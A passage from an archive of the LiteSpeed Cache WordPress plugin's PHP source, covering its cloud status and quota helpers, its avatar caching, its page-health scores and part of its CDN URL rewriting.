self::TYPE_BATCH_SWITCH_ORI: case self::TYPE_BATCH_SWITCH_OPTM: $this->batch_switch( $type ); break; case substr( $type, 0, 4 ) === 'avif': case substr( $type, 0, 4 ) === 'webp': case substr( $type, 0, 4 ) === 'orig': $this->_switch_optm_file( $type ); break; default: break; } Admin::redirect(); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/cloud-misc.trait.php����������������������������������������������������0000644�����������������00000024514�15233526476�0015750 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Cloud misc trait * * @package LiteSpeed * @since 7.8 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Trait Cloud_Misc * * Handles version check, news, usage, promo, and other misc features. */ trait Cloud_Misc { /** * Load QC status for dash usage. * Format to translate: `<a href="{#xxx#}" class="button button-primary">xxxx</a><a href="{#xxx#}">xxxx2</a>` * * @since 7.0 * * @param string $type Type. * @param bool $force Force refresh. * @return string */ public function load_qc_status_for_dash( $type, $force = false ) { return Str::translate_qc_apis( $this->_load_qc_status_for_dash( $type, $force ) ); } /** * Internal: load QC status HTML for dash. * * @param string $type Type. * @param bool $force Force refresh. * @return string */ private function _load_qc_status_for_dash( $type, $force = false ) { if ( ! $force && ! empty( $this->_summary['mini_html'] ) && isset( $this->_summary['mini_html'][ $type ] ) && ! empty( $this->_summary['mini_html'][ 'ttl.' . $type ] ) && $this->_summary['mini_html'][ 'ttl.' . $type ] > time() ) { return Str::safe_html( $this->_summary['mini_html'][ $type ] ); } // Try to update dash content $data = self::post( self::SVC_D_DASH, [ 'action2' => ( 'cdn_dash_mini' === $type ? 'cdn_dash' : $type ) ] ); if ( ! empty( $data['qc_activated'] ) ) { // Sync conf as changed if ( empty( $this->_summary['qc_activated'] ) || $this->_summary['qc_activated'] !== $data['qc_activated'] ) { $msg = sprintf( __( 'Congratulations, %s successfully set this domain up for the online services with CDN service.', 'litespeed-cache' ), 'QUIC.cloud' ); Admin_Display::success( '🎊 ' . $msg ); $this->_clear_reset_qc_reg_msg(); // Turn on CDN option $this->cls( 'Conf' )->update_confs( [ self::O_CDN_QUIC => true ] ); $this->cls( 'CDN\Quic' )->try_sync_conf( true ); } $this->_summary['qc_activated'] = $data['qc_activated']; $this->save_summary(); } // Show the info if ( isset( $this->_summary['mini_html'][ $type ] ) ) { return Str::safe_html( $this->_summary['mini_html'][ $type ] ); } return ''; } /** * Show latest commit version always if is on dev * * @since 3.0 */ public function check_dev_version() { if ( ! preg_match( '/[^\d\.]/', Core::VER ) ) { return; } $last_check = empty( $this->_summary[ 'last_request.' . self::API_VER ] ) ? 0 : $this->_summary[ 'last_request.' . self::API_VER ]; if ( time() - $last_check > 86400 ) { $auto_v = self::version_check( 'dev' ); if ( ! empty( $auto_v['dev'] ) ) { self::save_summary( [ 'version.dev' => $auto_v['dev'] ] ); } } if ( empty( $this->_summary['version.dev'] ) ) { return; } self::debug( 'Latest dev version ' . $this->_summary['version.dev'] ); if ( version_compare( $this->_summary['version.dev'], Core::VER, '<=' ) ) { return; } // Show the dev banner require_once LSCWP_DIR . 'tpl/banner/new_version_dev.tpl.php'; } /** * Check latest version * * @since 2.9 * @access public * * @param string|false $src Source. * @return mixed */ public static function version_check( $src = false ) { $req_data = [ 'v' => defined( 'LSCWP_CUR_V' ) ? LSCWP_CUR_V : '', 'src' => $src, 'php' => phpversion(), ]; // If code ver is smaller than db ver, bypass if ( ! empty( $req_data['v'] ) && version_compare( Core::VER, $req_data['v'], '<' ) ) { return; } if ( defined( 'LITESPEED_ERR' ) ) { $litespeed_err = constant( 'LITESPEED_ERR' ); $req_data['err'] = base64_encode( ! is_string( $litespeed_err ) ? wp_json_encode( $litespeed_err ) : $litespeed_err ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode } $data = self::post( self::API_VER, $req_data ); return $data; } /** * Show latest news * * @since 3.0 */ public function news() { $this->_update_news(); if ( empty( $this->_summary['news.new'] ) ) { return; } if ( ! empty( $this->_summary['news.plugin'] ) && Activation::cls()->dash_notifier_is_plugin_active( $this->_summary['news.plugin'] ) ) { return; } require_once LSCWP_DIR . 'tpl/banner/cloud_news.tpl.php'; } /** * Update latest news * * @since 2.9.9.1 */ private function _update_news() { if ( ! empty( $this->_summary['news.utime'] ) && time() - (int) $this->_summary['news.utime'] < 86400 * 7 ) { return; } self::save_summary( [ 'news.utime' => time() ] ); $data = self::get( self::API_NEWS ); if ( empty( $data['id'] ) ) { return; } // Save news if ( ! empty( $this->_summary['news.id'] ) && (string) $this->_summary['news.id'] === (string) $data['id'] ) { return; } $this->_summary['news.id'] = $data['id']; $this->_summary['news.plugin'] = ! empty( $data['plugin'] ) ? $data['plugin'] : ''; $this->_summary['news.title'] = ! empty( $data['title'] ) ? $data['title'] : ''; $this->_summary['news.content'] = ! empty( $data['content'] ) ? $data['content'] : ''; $this->_summary['news.zip'] = ! empty( $data['zip'] ) ? $data['zip'] : ''; $this->_summary['news.new'] = 1; if ( $this->_summary['news.plugin'] ) { $plugin_info = Activation::cls()->dash_notifier_get_plugin_info( $this->_summary['news.plugin'] ); if ( $plugin_info && ! empty( $plugin_info->name ) ) { $this->_summary['news.plugin_name'] = $plugin_info->name; } } self::save_summary(); } /** * Check if contains a package in a service or not * * @since 4.0 * * @param string $service Service. * @param int $pkg Package flag. * @return bool */ public function has_pkg( $service, $pkg ) { if ( ! empty( $this->_summary[ 'usage.' . $service ]['pkgs'] ) && ( $this->_summary[ 'usage.' . $service ]['pkgs'] & $pkg ) ) { return true; } return false; } /** * Get allowance of current service * * @since 3.0 * @access private * * @param string $service Service. * @param string|bool $err Error code by ref. * @return int */ public function allowance( $service, &$err = false ) { // Only auto sync usage at most one time per day if ( empty( $this->_summary[ 'last_request.' . self::SVC_D_USAGE ] ) || time() - (int) $this->_summary[ 'last_request.' . self::SVC_D_USAGE ] > 86400 ) { $this->sync_usage(); } if ( in_array( $service, [ self::SVC_CCSS, self::SVC_UCSS, self::SVC_VPI ], true ) ) { // @since 4.2 $service = self::SVC_PAGE_OPTM; } if ( empty( $this->_summary[ 'usage.' . $service ] ) ) { return 0; } $usage = $this->_summary[ 'usage.' . $service ]; // Image optm is always free $allowance_max = 0; if ( self::SVC_IMG_OPTM === $service ) { $allowance_max = self::IMG_OPTM_DEFAULT_GROUP; } $allowance = (int) $usage['quota'] - (int) $usage['used']; $err = 'out_of_quota'; if ( $allowance > 0 ) { if ( $allowance_max && $allowance_max < $allowance ) { $allowance = $allowance_max; } // Daily limit @since 4.2 if ( isset( $usage['remaining_daily_quota'] ) && $usage['remaining_daily_quota'] >= 0 && $usage['remaining_daily_quota'] < $allowance ) { $allowance = $usage['remaining_daily_quota']; if ( ! $allowance ) { $err = 'out_of_daily_quota'; } } return $allowance; } // Check Pay As You Go balance if ( empty( $usage['pag_bal'] ) ) { return $allowance_max; } if ( $allowance_max && $allowance_max < $usage['pag_bal'] ) { return $allowance_max; } return (int) $usage['pag_bal']; } /** * Sync Cloud usage summary data * * @since 3.0 * @access public */ public function sync_usage() { $usage = $this->_post( self::SVC_D_USAGE ); if ( ! $usage ) { return; } self::debug( 'sync_usage ' . wp_json_encode( $usage ) ); foreach ( self::$services as $v ) { $this->_summary[ 'usage.' . $v ] = ! empty( $usage[ $v ] ) ? $usage[ $v ] : false; } self::save_summary(); return $this->_summary; } /** * REST call: check if the error domain is valid call for auto alias purpose * * @since 5.0 */ public function rest_err_domains() { // phpcs:ignore WordPress.Security.NonceVerification.Missing $alias = !empty( $_POST['alias'] ) ? sanitize_text_field( wp_unslash( $_POST['alias'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( empty( $_POST['main_domain'] ) || !$alias ) { return self::err( 'lack_of_param' ); } // phpcs:ignore WordPress.Security.NonceVerification.Missing $this->extract_msg( $_POST, 'Quic.cloud', false, true ); if ( $this->_is_err_domain( $alias ) ) { if ( site_url() === $alias ) { $this->_remove_domain_from_err_list( $alias ); } return self::ok(); } return self::err( 'Not an alias req from here' ); } /** * Remove a domain from err domain * * @since 5.0 * * @param string $url URL to remove. */ private function _remove_domain_from_err_list( $url ) { unset( $this->_summary['err_domains'][ $url ] ); self::save_summary(); } /** * Check if is err domain * * @since 5.0 * * @param string $site_url Site URL. * @return bool */ private function _is_err_domain( $site_url ) { if ( empty( $this->_summary['err_domains'] ) ) { return false; } if ( ! array_key_exists( $site_url, $this->_summary['err_domains'] ) ) { return false; } // Auto delete if too long ago if ( time() - (int) $this->_summary['err_domains'][ $site_url ] > 86400 * 10 ) { $this->_remove_domain_from_err_list( $site_url ); return false; } if ( time() - (int) $this->_summary['err_domains'][ $site_url ] > 86400 ) { return false; } return true; } /** * Show promo from cloud * * @since 3.0 * @access public */ public function show_promo() { if ( empty( $this->_summary['promo'] ) ) { return; } require_once LSCWP_DIR . 'tpl/banner/cloud_promo.tpl.php'; } /** * Clear promo from cloud * * @since 3.0 * @access private */ private function _clear_promo() { if ( count( $this->_summary['promo'] ) > 1 ) { array_shift( $this->_summary['promo'] ); } else { $this->_summary['promo'] = []; } self::save_summary(); } /** * Display a banner for dev env if using preview QC node. * * @since 7.0 */ public function maybe_preview_banner() { if ( false !== strpos( $this->_cloud_server, 'preview.' ) ) { Admin_Display::note( __( 'Linked to QUIC.cloud preview environment, for testing purpose only.', 'litespeed-cache' ), true, true, 'litespeed-warning-bg' ); } } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/avatar.cls.php����������������������������������������������������������0000644�����������������00000021234�15233526476�0014621 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The avatar cache class. * * Caches remote (e.g., Gravatar) avatars locally and rewrites URLs * to serve cached copies with a TTL. Supports on-demand generation * during page render and batch generation via cron. * * @since 3.0 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Avatar */ class Avatar extends Base { const TYPE_GENERATE = 'generate'; /** * Avatar cache TTL (seconds). * * @var int */ private $_conf_cache_ttl; /** * Avatar DB table name. * * @var string */ private $_tb; /** * In-request map from original URL => rewritten URL to avoid duplicates. * * @var array<string,string> */ private $_avatar_realtime_gen_dict = []; /** * Summary/status data for last requests. * * @var array<string,mixed> */ protected $_summary; /** * Init. * * @since 1.4 */ public function __construct() { $this->_tb = Data::cls()->tb( 'avatar' ); if ( ! $this->conf( self::O_DISCUSS_AVATAR_CACHE ) ) { return; } self::debug2( '[Avatar] init' ); $this->_conf_cache_ttl = $this->conf( self::O_DISCUSS_AVATAR_CACHE_TTL ); add_filter( 'get_avatar_url', [ $this, 'crawl_avatar' ] ); $this->_summary = self::get_summary(); } /** * Check whether DB table is needed. * * @since 3.0 * @access public * @return bool */ public function need_db() { return (bool) $this->conf( self::O_DISCUSS_AVATAR_CACHE ); } /** * Serve static avatar by md5 (used by local static route). * * @since 3.0 * @access public * @param string $md5 MD5 hash of original avatar URL. * @return void */ public function serve_static( $md5 ) { global $wpdb; self::debug( '[Avatar] is avatar request' ); if ( strlen( $md5 ) !== 32 ) { self::debug( '[Avatar] wrong md5 ' . $md5 ); return; } $url = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->prepare( 'SELECT url FROM `' . $this->_tb . '` WHERE md5 = %s', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $md5 ) ); if ( ! $url ) { self::debug( '[Avatar] no matched url for md5 ' . $md5 ); return; } $url = $this->_generate( $url ); wp_safe_redirect( $url ); exit; } /** * Localize/replace avatar URL with cached one (filter callback). * * @since 3.0 * @access public * @param string $url Original avatar URL. * @return string Rewritten/cached avatar URL (or original). */ public function crawl_avatar( $url ) { if ( ! $url ) { return $url; } // Check if already generated in this request. if ( ! empty( $this->_avatar_realtime_gen_dict[ $url ] ) ) { self::debug2( '[Avatar] already in dict [url] ' . $url ); return $this->_avatar_realtime_gen_dict[ $url ]; } $realpath = $this->_realpath( $url ); $mtime = file_exists( $realpath ) ? filemtime( $realpath ) : false; if ( $mtime && time() - (int) $mtime <= $this->_conf_cache_ttl ) { self::debug2( '[Avatar] cache file exists [url] ' . $url ); return $this->_rewrite( $url, $mtime ); } // Only handle gravatar or known remote avatar providers; keep generic check for "gravatar.com". if ( strpos( $url, 'gravatar.com' ) === false ) { return $url; } // Throttle generation. if ( ! empty( $this->_summary['curr_request'] ) && time() - (int) $this->_summary['curr_request'] < 300 ) { self::debug2( '[Avatar] Bypass generating due to interval limit [url] ' . $url ); return $url; } // Generate immediately and track for this request. $this->_avatar_realtime_gen_dict[ $url ] = $this->_generate( $url ); return $this->_avatar_realtime_gen_dict[ $url ]; } /** * Count queued avatars (expired ones) for cron. * * @since 3.0 * @access public * @return int|false */ public function queue_count() { global $wpdb; if ( ! Data::cls()->tb_exist( 'avatar' ) ) { Data::cls()->tb_create( 'avatar' ); } $cnt = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->prepare( 'SELECT COUNT(*) FROM `' . $this->_tb . '` WHERE dateline < %d', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared time() - $this->_conf_cache_ttl ) ); return (int) $cnt; } /** * Build final local URL for cached avatar. * * @since 3.0 * @param string $url Original URL. * @param int|null $time Optional filemtime for cache busting. * @return string Local URL. */ private function _rewrite( $url, $time = null ) { $qs = $time ? '?ver=' . $time : ''; return LITESPEED_STATIC_URL . '/avatar/' . $this->_filepath( $url ) . $qs; } /** * Generate filesystem realpath for cache file. * * @since 3.0 * @access private * @param string $url Original URL. * @return string Absolute filesystem path. */ private function _realpath( $url ) { return LITESPEED_STATIC_DIR . '/avatar/' . $this->_filepath( $url ); } /** * Get relative filepath for cached avatar. * * @since 4.0 * @param string $url Original URL. * @return string Relative path under avatar/ (may include blog id). */ private function _filepath( $url ) { $filename = md5( $url ) . '.jpg'; if ( is_multisite() ) { $filename = get_current_blog_id() . '/' . $filename; } return $filename; } /** * Cron generation for expired avatars. * * @since 3.0 * @access public * @param bool $force Bypass throttle. * @return void */ public static function cron( $force = false ) { global $wpdb; $_instance = self::cls(); if ( ! $_instance->queue_count() ) { self::debug( '[Avatar] no queue' ); return; } // For cron, need to check request interval too. if ( ! $force ) { if ( ! empty( $_instance->_summary['curr_request'] ) && time() - (int) $_instance->_summary['curr_request'] < 300 ) { self::debug( '[Avatar] curr_request too close' ); return; } } $list = $wpdb->get_results( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->prepare( 'SELECT url FROM `' . $_instance->_tb . '` WHERE dateline < %d ORDER BY id DESC LIMIT %d', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared time() - $_instance->_conf_cache_ttl, (int) apply_filters( 'litespeed_avatar_limit', 30 ) ) ); self::debug( '[Avatar] cron job [count] ' . ( $list ? count( $list ) : 0 ) ); if ( $list ) { foreach ( $list as $v ) { self::debug( '[Avatar] cron job [url] ' . $v->url ); $_instance->_generate( $v->url ); } } } /** * Download and store the avatar locally, then update DB row. * * @since 3.0 * @access private * @param string $url Original avatar URL. * @return string Rewritten local URL (fallback to original on failure). */ private function _generate( $url ) { global $wpdb; $file = $this->_realpath( $url ); // Mark request start self::save_summary( [ 'curr_request' => time(), ] ); // Ensure cache directory exists $this->_maybe_mk_cache_folder( 'avatar' ); $response = wp_safe_remote_get( $url, [ 'timeout' => 180, 'stream' => true, 'filename' => $file, ] ); self::debug( '[Avatar] _generate [url] ' . $url ); // Parse response data if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); if ( file_exists( $file ) ) { wp_delete_file( $file ); } self::debug( '[Avatar] failed to get: ' . $error_message ); return $url; } // Save summary data self::save_summary( [ 'last_spent' => time() - (int) $this->_summary['curr_request'], 'last_request' => $this->_summary['curr_request'], 'curr_request' => 0, ] ); // Update/insert DB record $md5 = md5( $url ); $existed = $wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->prepare( 'UPDATE `' . $this->_tb . '` SET dateline = %d WHERE md5 = %s', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared time(), $md5 ) ); if ( ! $existed ) { $wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->prepare( 'INSERT INTO `' . $this->_tb . '` (url, md5, dateline) VALUES (%s, %s, %d)', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $url, $md5, time() ) ); } self::debug( '[Avatar] saved avatar ' . $file ); return $this->_rewrite( $url ); } /** * Handle all request actions from main cls. * * @since 3.0 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_GENERATE: self::cron( true ); break; default: break; } Admin::redirect(); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/health.cls.php����������������������������������������������������������0000644�����������������00000005523�15233526476�0014613 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * The page health * * @since 3.0 * @package LiteSpeed */ namespace LiteSpeed; defined('WPINC') || exit(); class Health extends Base { const TYPE_SPEED = 'speed'; const TYPE_SCORE = 'score'; protected $_summary; /** * Init * * @since 3.0 */ public function __construct() { $this->_summary = self::get_summary(); } /** * Test latest speed * * @since 3.0 */ private function _ping( $type ) { $data = array( 'action' => $type ); $json = Cloud::post(Cloud::SVC_HEALTH, $data, 600); if (empty($json['data']['before']) || empty($json['data']['after'])) { Debug2::debug('[Health] ❌ no data'); return false; } $this->_summary[$type . '.before'] = $json['data']['before']; $this->_summary[$type . '.after'] = $json['data']['after']; self::save_summary(); Debug2::debug('[Health] saved result'); } /** * Generate scores * * @since 3.0 */ public function scores() { $speed_before = $speed_after = $speed_improved = 0; if (!empty($this->_summary['speed.before']) && !empty($this->_summary['speed.after'])) { // Format loading time $speed_before = $this->_summary['speed.before'] / 1000; if ($speed_before < 0.01) { $speed_before = 0.01; } $speed_before = number_format($speed_before, 2); $speed_after = $this->_summary['speed.after'] / 1000; if ($speed_after < 0.01) { $speed_after = number_format($speed_after, 3); } else { $speed_after = number_format($speed_after, 2); } $speed_improved = (($this->_summary['speed.before'] - $this->_summary['speed.after']) * 100) / $this->_summary['speed.before']; if ($speed_improved > 99) { $speed_improved = number_format($speed_improved, 2); } else { $speed_improved = number_format($speed_improved); } } $score_before = $score_after = $score_improved = 0; if (!empty($this->_summary['score.before']) && !empty($this->_summary['score.after'])) { $score_before = $this->_summary['score.before']; $score_after = $this->_summary['score.after']; // Format Score $score_improved = (($score_after - $score_before) * 100) / $score_after; if ($score_improved > 99) { $score_improved = number_format($score_improved, 2); } else { $score_improved = number_format($score_improved); } } return array( 'speed_before' => $speed_before, 'speed_after' => $speed_after, 'speed_improved' => $speed_improved, 'score_before' => $score_before, 'score_after' => $score_after, 'score_improved' => $score_improved, ); } /** * Handle all request actions from main cls * * @since 3.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_SPEED: case self::TYPE_SCORE: $this->_ping($type); break; default: break; } Admin::redirect(); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/cdn.cls.php�������������������������������������������������������������0000644�����������������00000037654�15233526476�0014124 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * CDN handling for LiteSpeed Cache. * * Rewrites eligible asset URLs to configured CDN endpoints and integrates with WordPress filters. * * @since 1.2.3 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class CDN * * Processes page content and WordPress asset URLs to map to CDN domains according to settings. */ class CDN extends Root { const LOG_TAG = '[CDN]'; const BYPASS = 'LITESPEED_BYPASS_CDN'; /** * The working HTML/content buffer being processed. * * @var string */ private $content; /** * Whether CDN feature is enabled. * * @var bool */ private $_cfg_cdn; /** * List of original site URLs (may include wildcards) to be replaced. * * @var string[] */ private $_cfg_url_ori; /** * List of directories considered internal/original for CDN rewriting. * * @var string[] */ private $_cfg_ori_dir; /** * CDN mapping rules; keys include mapping kinds or file extensions, values are URL(s). * * @var array<string,string|string[]> */ private $_cfg_cdn_mapping = []; /** * List of URL substrings/regex used to exclude items from CDN. * * @var string[] */ private $_cfg_cdn_exclude; /** * Hosts used by CDN mappings for quick membership checks. * * @var string[] */ private $cdn_mapping_hosts = []; /** * Initialize CDN integration and register filters if enabled. * * @since 1.2.3 * @return void */ public function init() { self::debug2( 'init' ); if ( defined( self::BYPASS ) ) { self::debug2( 'CDN bypass' ); return; } if ( ! Router::can_cdn() ) { if ( ! defined( self::BYPASS ) ) { define( self::BYPASS, true ); } return; } $this->_cfg_cdn = $this->conf( Base::O_CDN ); if ( ! $this->_cfg_cdn ) { if ( ! defined( self::BYPASS ) ) { define( self::BYPASS, true ); } return; } $this->_cfg_url_ori = $this->conf( Base::O_CDN_ORI ); // Parse cdn mapping data to array( 'filetype' => 'url' ) $mapping_to_check = [ Base::CDN_MAPPING_INC_IMG, Base::CDN_MAPPING_INC_CSS, Base::CDN_MAPPING_INC_JS ]; foreach ( $this->conf( Base::O_CDN_MAPPING ) as $v ) { if ( ! $v[ Base::CDN_MAPPING_URL ] ) { continue; } $this_url = $v[ Base::CDN_MAPPING_URL ]; $this_host = wp_parse_url( $this_url, PHP_URL_HOST ); // Check img/css/js foreach ( $mapping_to_check as $to_check ) { if ( $v[ $to_check ] ) { self::debug2( 'mapping ' . $to_check . ' -> ' . $this_url ); // If filetype to url is one to many, make url be an array $this->_append_cdn_mapping( $to_check, $this_url ); if ( ! in_array( $this_host, $this->cdn_mapping_hosts, true ) ) { $this->cdn_mapping_hosts[] = $this_host; } } } // Check file types if ( $v[ Base::CDN_MAPPING_FILETYPE ] ) { foreach ( $v[ Base::CDN_MAPPING_FILETYPE ] as $v2 ) { $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_FILETYPE ] = true; // If filetype to url is one to many, make url be an array $this->_append_cdn_mapping( $v2, $this_url ); if ( ! in_array( $this_host, $this->cdn_mapping_hosts, true ) ) { $this->cdn_mapping_hosts[] = $this_host; } } self::debug2( 'mapping ' . implode( ',', $v[ Base::CDN_MAPPING_FILETYPE ] ) . ' -> ' . $this_url ); } } if ( ! $this->_cfg_url_ori || ! $this->_cfg_cdn_mapping ) { if ( ! defined( self::BYPASS ) ) { define( self::BYPASS, true ); } return; } $this->_cfg_ori_dir = $this->conf( Base::O_CDN_ORI_DIR ); // In case user customized upload path if ( defined( 'UPLOADS' ) ) { $this->_cfg_ori_dir[] = UPLOADS; } // Check if need preg_replace $this->_cfg_url_ori = Utility::wildcard2regex( $this->_cfg_url_ori ); $this->_cfg_cdn_exclude = $this->conf( Base::O_CDN_EXC ); if ( ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_IMG ] ) ) { // Hook to srcset if ( function_exists( 'wp_calculate_image_srcset' ) ) { add_filter( 'wp_calculate_image_srcset', [ $this, 'srcset' ], 999 ); } // Hook to mime icon add_filter( 'wp_get_attachment_image_src', [ $this, 'attach_img_src' ], 999 ); add_filter( 'wp_get_attachment_url', [ $this, 'url_img' ], 999 ); } if ( ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_CSS ] ) ) { add_filter( 'style_loader_src', [ $this, 'url_css' ], 999 ); } if ( ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_JS ] ) ) { add_filter( 'script_loader_src', [ $this, 'url_js' ], 999 ); } add_filter( 'litespeed_buffer_finalize', [ $this, 'finalize' ], 30 ); } /** * Associate all filetypes with CDN URL. * * @since 2.0 * @access private * * @param string $filetype Mapping key (e.g., extension or mapping constant). * @param string $url CDN base URL to use for this mapping. * @return void */ private function _append_cdn_mapping( $filetype, $url ) { // If filetype to url is one to many, make url be an array if ( empty( $this->_cfg_cdn_mapping[ $filetype ] ) ) { $this->_cfg_cdn_mapping[ $filetype ] = $url; } elseif ( is_array( $this->_cfg_cdn_mapping[ $filetype ] ) ) { // Append url to filetype $this->_cfg_cdn_mapping[ $filetype ][] = $url; } else { // Convert _cfg_cdn_mapping from string to array $this->_cfg_cdn_mapping[ $filetype ] = [ $this->_cfg_cdn_mapping[ $filetype ], $url ]; } } /** * Whether the given type is included in CDN mappings. * * @since 1.6.2.1 * * @param string $type 'css' or 'js'. * @return bool True if included in CDN. */ public function inc_type( $type ) { if ( 'css' === $type && ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_CSS ] ) ) { return true; } if ( 'js' === $type && ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_JS ] ) ) { return true; } return false; } /** * Run CDN processing on finalized buffer. * NOTE: After cache finalized, cannot change cache control. * * @since 1.2.3 * @access public * * @param string $content The HTML/content buffer. * @return string The processed content. */ public function finalize( $content ) { $this->content = $content; $this->_finalize(); return $this->content; } /** * Replace eligible URLs with CDN URLs in the working buffer. * * @since 1.2.3 * @access private * @return void */ private function _finalize() { if ( defined( self::BYPASS ) ) { return; } self::debug( 'CDN _finalize' ); // Start replacing img src if ( ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_INC_IMG ] ) ) { $this->_replace_img(); $this->_replace_inline_css(); } if ( ! empty( $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_FILETYPE ] ) ) { $this->_replace_file_types(); } } /** * Parse all file types and replace according to configured attributes. * * @since 1.2.3 * @access private * @return void */ private function _replace_file_types() { $ele_to_check = $this->conf( Base::O_CDN_ATTR ); foreach ( $ele_to_check as $v ) { if ( ! $v || false === strpos( $v, '.' ) ) { self::debug2( 'replace setting bypassed: no . attribute ' . $v ); continue; } self::debug2( 'replace attribute ' . $v ); $v = explode( '.', $v ); $attr = preg_quote( $v[1], '#' ); if ( $v[0] ) { $pattern = '#<' . preg_quote( $v[0], '#' ) . '([^>]+)' . $attr . '=([\'"])(.+)\g{2}#iU'; } else { $pattern = '# ' . $attr . '=([\'"])(.+)\g{1}#iU'; } preg_match_all( $pattern, $this->content, $matches ); if (empty($matches[$v[0] ? 3 : 2])) { continue; } foreach ($matches[$v[0] ? 3 : 2] as $k2 => $url) { // self::debug2( 'check ' . $url ); $postfix = '.' . pathinfo((string) wp_parse_url($url, PHP_URL_PATH), PATHINFO_EXTENSION); if (!array_key_exists($postfix, $this->_cfg_cdn_mapping)) { // self::debug2( 'non-existed postfix ' . $postfix ); continue; } self::debug2( 'matched file_type ' . $postfix . ' : ' . $url ); $url2 = $this->rewrite( $url, Base::CDN_MAPPING_FILETYPE, $postfix ); if ( ! $url2 ) { continue; } $attr_str = str_replace( $url, $url2, $matches[0][ $k2 ] ); $this->content = str_replace( $matches[0][ $k2 ], $attr_str, $this->content ); } } } /** * Parse all images and replace their src attributes. * * @since 1.2.3 * @access private * @return void */ private function _replace_img() { preg_match_all( '#<img([^>]+?)src=([\'"\\\]*)([^\'"\s\\\>]+)([\'"\\\]*)([^>]*)>#i', $this->content, $matches ); foreach ( $matches[3] as $k => $url ) { // Check if is a DATA-URI if ( false !== strpos( $url, 'data:image' ) ) { continue; } $url2 = $this->rewrite( $url, Base::CDN_MAPPING_INC_IMG ); if ( ! $url2 ) { continue; } $html_snippet = sprintf( '<img %1$s src=%2$s %3$s>', $matches[1][ $k ], $matches[2][ $k ] . $url2 . $matches[4][ $k ], $matches[5][ $k ] ); $this->content = str_replace( $matches[0][ $k ], $html_snippet, $this->content ); } } /** * Parse and replace all inline styles containing url(). * * @since 1.2.3 * @access private * @return void */ private function _replace_inline_css() { self::debug2( '_replace_inline_css', $this->_cfg_cdn_mapping ); /** * Excludes `\` from URL matching * * @see #959152 - WordPress LSCache CDN Mapping causing malformed URLS * @see #685485 * @since 3.0 */ preg_match_all( '/url\((?![\'"]?data)[\'"]?(.+?)[\'"]?\)/i', $this->content, $matches ); foreach ( $matches[1] as $k => $url ) { $url = str_replace( [ ' ', '\t', '\n', '\r', '\0', '\x0B', '"', "'", '"', ''' ], '', $url ); // Parse file postfix $parsed_url = wp_parse_url( $url, PHP_URL_PATH ); if ( ! $parsed_url ) { continue; } $postfix = '.' . pathinfo( $parsed_url, PATHINFO_EXTENSION ); if ( array_key_exists( $postfix, $this->_cfg_cdn_mapping ) ) { self::debug2( 'matched file_type ' . $postfix . ' : ' . $url ); $url2 = $this->rewrite( $url, Base::CDN_MAPPING_FILETYPE, $postfix ); if ( ! $url2 ) { continue; } } elseif ( in_array( $postfix, [ 'jpg', 'jpeg', 'png', 'gif', 'svg', 'webp', 'avif' ], true ) ) { $url2 = $this->rewrite( $url, Base::CDN_MAPPING_INC_IMG ); if ( ! $url2 ) { continue; } } else { continue; } $attr = str_replace( $matches[1][ $k ], $url2, $matches[0][ $k ] ); $this->content = str_replace( $matches[0][ $k ], $attr, $this->content ); } self::debug2( '_replace_inline_css done' ); } /** * Filter: wp_get_attachment_image_src. * * @since 1.2.3 * @since 1.7 Removed static from function. * @access public * * @param array{0:string,1:int,2:int} $img The URL of the attachment image src, the width, the height. * @return array{0:string,1:int,2:int} */ public function attach_img_src( $img ) { if ( $img ) { $url = $this->rewrite( $img[0], Base::CDN_MAPPING_INC_IMG 